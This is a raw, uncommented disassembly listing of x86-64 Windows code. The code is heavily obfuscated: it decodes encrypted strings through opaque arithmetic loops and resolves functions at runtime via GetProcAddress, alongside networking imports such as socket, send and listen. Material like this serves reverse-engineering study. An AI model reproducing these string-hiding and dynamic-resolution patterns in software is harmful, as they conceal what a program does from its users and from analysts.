cmp rbx, rax
jne 0x140069e38
add r9b, 0x14
movzx eax, r13b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
jmp 0x14006a144
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140069e60
lea edx, [r9 - 0x28]
movzx eax, r13b
and al, dl
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, dl
jmp 0x140069f47
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140069e86
sub r9b, 0x46
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x16
jmp 0x14006a0af
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140069eac
sub r9b, 0x64
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x44
jmp 0x14006a0ac
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140069a04
add r9b, 0x60
movzx eax, r13b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r13b
add dil, r9b
mov r10, qword [rsp + 0x20]
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
lea edx, [r9 - 0x18]
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
sub dil, 0x58
add dil, r13b
jmp 0x14006a06e
movzx r9d, sil
lea edx, [r9 - 0x36]
movzx eax, r13b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140069f47
sub dl, 0xd
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
add dil, 0x5b
add dil, dl
movzx r9d, sil
sub r9b, 0x45
movzx eax, r13b
and al, r9b
add al, al
movzx ecx, r13b
sub cl, al
sub cl, 0x1d
add cl, r9b
movzx eax, cl
mov rcx, qword [rsp + 0x28]
mov byte [rcx], al
inc r8
add rax, r8
mov r10, qword [rsp + 0x20]
sub r10, rax
jmp 0x14006a0f6
add dl, 0x2f
movzx eax, r13b
and al, dl
add al, al
sub r13b, al
lea edi, [rdx + r13]
sub dil, 0x49
jmp 0x14006a0ac
sub dl, 0x77
movzx eax, r13b
and al, dl
add al, al
sub r13b, al
lea edi, [rdx + r13]
add dil, 0x41
mov r10, qword [rsp + 0x20]
inc r8
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
sub dl, 0x59
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
add dil, 0x6f
add dil, dl
movzx r9d, sil
sub r9b, 9
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
add r13b, 0x3f
add r13b, r9b
mov rcx, qword [rsp + 0x28]
mov byte [rcx], r13b
mov r10, qword [rsp + 0x20]
inc r8
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
lea ecx, [r10 + 1]
movzx eax, r13b
and al, cl
add al, al
sub r13b, al
lea edi, [rcx + r13]
sub dil, 7
inc r8
dec r10
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
movzx r9d, r10b
lea edx, [r9 + 0x3d]
movzx eax, r13b
and al, dl
add al, al
movzx edi, r13b
sub dil, al
add dil, 0x55
add dil, dl
sub r9b, 0x27
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
add r13b, 0x11
add r13b, dil
add r13b, r9b
mov rcx, qword [rsp + 0x28]
mov byte [rcx], r13b
jmp 0x14006a0ac
lea ecx, [r10 + 0x5b]
movzx eax, r13b
and al, cl
add al, al
sub r13b, al
lea edi, [rcx + r13]
sub dil, 0x7d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
mov r10, qword [rsp + 0x20]
add r10, rcx
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
movabs rcx, 0xed2d9f3a86f3c7b5
add rcx, r10
and dl, cl
add dl, dl
movzx edi, r13b
sub dil, dl
add dil, 0xd
add dil, cl
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r13b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
add cl, r13b
mov byte [rbp + r10 + 0xe0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x14006a144
movabs rax, 0xf4b4f9231dc577d3
add rax, r10
and dl, al
add dl, dl
sub r13b, dl
lea edi, [rax + r13]
add dil, 0x3b
movzx eax, byte [rbp + r10 + 0xe0]
add rax, r8
add r10, rax
inc r10
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069533
movzx r9d, sil
add r9b, 0x35
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x73
movabs rsi, 0xfc3c530bb49727f1
jmp 0x140069530
movzx r9d, sil
add r9b, 0x53
movzx eax, r13b
and al, r9b
add al, al
sub r13b, al
lea edi, [r9 + r13]
sub dil, 0x45
jmp 0x140069516
lea rdx, [rbp + 0x14ed6cc]
jmp 0x14006a1ca
lea rdx, [rbp + 0x65febd]
jmp 0x14006a1ca
lea rdx, [rbp + 0xe0]
mov r14, qword [rbp + 0x428]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x410], rax
mov byte [rbp + 0x100], 0x1c
mov byte [rbp + 0x101], 0xf0
mov byte [rbp + 0x102], 0xf7
mov byte [rbp + 0x103], 0xfc
mov byte [rbp + 0x104], 0x1d
mov byte [rbp + 0x105], 0xf4
mov byte [rbp + 0x106], 0xe9
mov byte [rbp + 0x107], 0xe8
mov byte [rbp + 0x108], 5
mov byte [rbp + 0x109], 0xfe
mov byte [rbp + 0x10a], 0xff
mov byte [rbp + 0x10b], 0x22
mov byte [rbp + 0x10c], 0x60
xor eax, eax
mov qword [rbp + 0x10d], rax
mov dword [rbp + 0x115], eax
mov word [rbp + 0x119], ax
movabs r15, 0x1615e567c6302ff2
movabs r13, 0x6e6d7b06def0efba
movabs r12, 0x4241b03752908fd6
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1b
jae 0x14006ad48
movzx r10d, byte [rbp + r11 + 0x100]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006ad3f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006a2dc
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
add dil, 0x62
jmp 0x14006a316
je 0x14006acca
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006ac6b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ac10
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006abef
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006aba1
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006ad36
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14006a34e
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a390
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006ab85
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006ab66
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ab49
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006aafd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006aadd
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006a8b3
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006a8a5
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006a87f
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006a85c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006a83d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006a81d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006a800
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006a7e5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006a7c5
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006a793
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006ad16
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006acf9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006a573
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006a554
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006a535
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14006a741
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006a6f8
lea rcx, [r8 + 4]
cmp rbx, rcx
jb 0x14006a6bc
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006a691
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006a3a0
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14006a65f
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14006a642
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14006a627
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14006a607
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14006a5e7
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14006a5c4
lea rcx, [r8 + 2]
cmp rbx, rcx
ja 0x14006a59e
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006a590
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14006a3a0
mov rbx, rcx
lea r8, [rcx + 8]
jmp 0x14006a3a0
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a390
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a320
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
jmp 0x14006a2b0
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x14006abae
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
inc r8
dec r11
inc r11
jmp 0x14006a293
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
dec r11
inc r11
jmp 0x14006a293
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac4f
add r9b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac52
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x14006ab17
sub r9b, 0x6c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xc
jmp 0x14006ac83
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x100], dil
inc r11
jmp 0x14006a293
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
cmp r8, 3
jb 0x14006a6ac
lea ecx, [r9 + 0x6c]
movzx eax, cl
and al, r10b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006abbf
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
cmp rbx, 5
jae 0x14006aaac
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14006a9ec
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a6d2
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x14006aaca
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14006a97f
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a70e
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac83
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14006ab17
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
jmp 0x14006ac52
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac4f
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006ac2a
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
dec r11
inc r11
jmp 0x14006a293
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14006a293
lea edx, [r9 - 4]
mov ecx, select
jmp 0x14006abae
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x14006a8db
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006a757
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a916
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
cmp rbx, rcx
jne 0x14006a93b
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac52
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006a964
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac4f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006a757
lea edx, [r9 - 0x2c]
mov ecx, 0x1a
jmp 0x14006abae
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006a996
lea edx, [r9 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14006abae
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a9c2
add r9b, 0x56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5a
dec r11
inc r11
jmp 0x14006a293
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006a70e
add r9b, 2
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xe
jmp 0x14006ac52
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006aa27
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006aa50
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac52
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006aa79
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac4f
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006a6d2
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
inc r8
dec r11
inc r11
jmp 0x14006a293
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
add dil, r10b
jmp 0x14006ac2a
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x6c]
jmp 0x14006ab17
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ac83
lea edx, [r9 + 0x16]
movzx eax, r10b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0xa
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x100], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14006ac83
add r9b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x22
jmp 0x14006ac4f
lea edx, [r9 + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006ac2a
lea edx, [r9 - 0x42]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x32
add dil, dl
jmp 0x14006abbf
movzx r9d, r11b
lea edx, [r9 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x5e
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x100], cl
inc r8
dec r11
inc r11
jmp 0x14006a293
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
dec r11
inc r11
jmp 0x14006a293
movzx r9d, r11b
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
add r9b, 0x42
movzx eax, r10b
and al, r9b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r11 + 0x100], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006a293
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x16
add dil, cl
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x100], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
lea rcx, [r11 + r12]
and sil, cl
mov eax, reloc.WS2_32.dll_send
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x100]
add rax, r8
add r11, rax
inc r11
jmp 0x14006a293
sub r9b, 0x46
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x16
jmp 0x14006a290
sub r9b, 0x2a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006a277
lea rdx, [rbp + 0x1603798]
jmp 0x14006ad4f
lea rdx, [rbp + 0x50678a]
jmp 0x14006ad4f
lea rdx, [rbp + 0x100]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x418], rax
mov byte [rbp + 0x330], 0x90
mov byte [rbp + 0x331], 0xb3
mov byte [rbp + 0x332], 0xab
mov byte [rbp + 0x333], 0xb9
mov byte [rbp + 0x334], 0xb7
mov byte [rbp + 0x335], 0xbd
mov byte [rbp + 0x336], 0xb7
mov byte [rbp + 0x337], 0xab
mov byte [rbp + 0x338], 0xb9
mov byte [rbp + 0x339], 0x80
mov byte [rbp + 0x33a], 0xbf
mov byte [rbp + 0x33b], 0xac
mov byte [rbp + 0x33c], 0xaf
mov byte [rbp + 0x33d], 0xb0
mov byte [rbp + 0x33e], 0xb5
mov byte [rbp + 0x33f], 0xb2
mov byte [rbp + 0x340], 0x5c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x341], xmm0
mov qword [rbp + 0x351], rax
mov dword [rbp + 0x359], eax
mov byte [rbp + 0x35d], al
movabs r15, 0x3539f2e77f131e0a
movabs r12, 0xdf098a2377ac0e5a
movabs r13, 0x9fadd8b67d395a1e
movzx edi, byte [rbp + 0x410]
nop word [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2e
jae 0x14006b9c1
movzx r10d, byte [rbp + r11 + 0x330]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006b9b8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006ae7c
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x46
jmp 0x14006aeb6
je 0x14006b943
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b8ab
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b87d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b85c
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006b815
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006b9af
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14006aef1
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006af32
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b7fd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006b7da
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b7ba
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006b79d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006b780
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006b490
nop
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006b475
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006b44c
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006b429
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006b40d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14006b3ed
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14006b3cd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006b3b2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006b392
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006b363
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006af40
lea rbx, [r8 + 8]
lea r8, [rbx + 6]
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14006b98f
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006b972
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006b129
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006b10e
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006b0f3
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
jb 0x14006b312
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006b2cd
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006b28d
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006b265
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006af40
mov rbx, rcx
lea r8, [rcx + 5]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006b248
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x14006b22b
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14006b20f
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x14006b1f2
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14006b1cf
lea rax, [r8 + 0x28]
cmp rcx, rax
ja 0x14006b1b4
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14006b18e
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x14006b168
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x14006b149
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14006af40
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x1000]
jmp 0x14006af40
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x14006af32
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x14006aec0
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ae50
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b82f
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
inc r8
dec r11
inc r11
jmp 0x14006ae33
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006ae33
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x14006b737
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006b892
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x14006b892
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b8cd
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
jmp 0x14006b8fc
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006b958
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
mov byte [rbp + r11 + 0x330], dil
inc r11
jmp 0x14006ae33
lea edx, [r9 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 5
jb 0x14006b27d
lea ecx, [r9 - 4]
movzx eax, cl
and al, r10b
mov edx, select
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006b82f
lea ecx, [r9 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
cmp rbx, 0x64
jae 0x14006b71e
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x14006b661
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
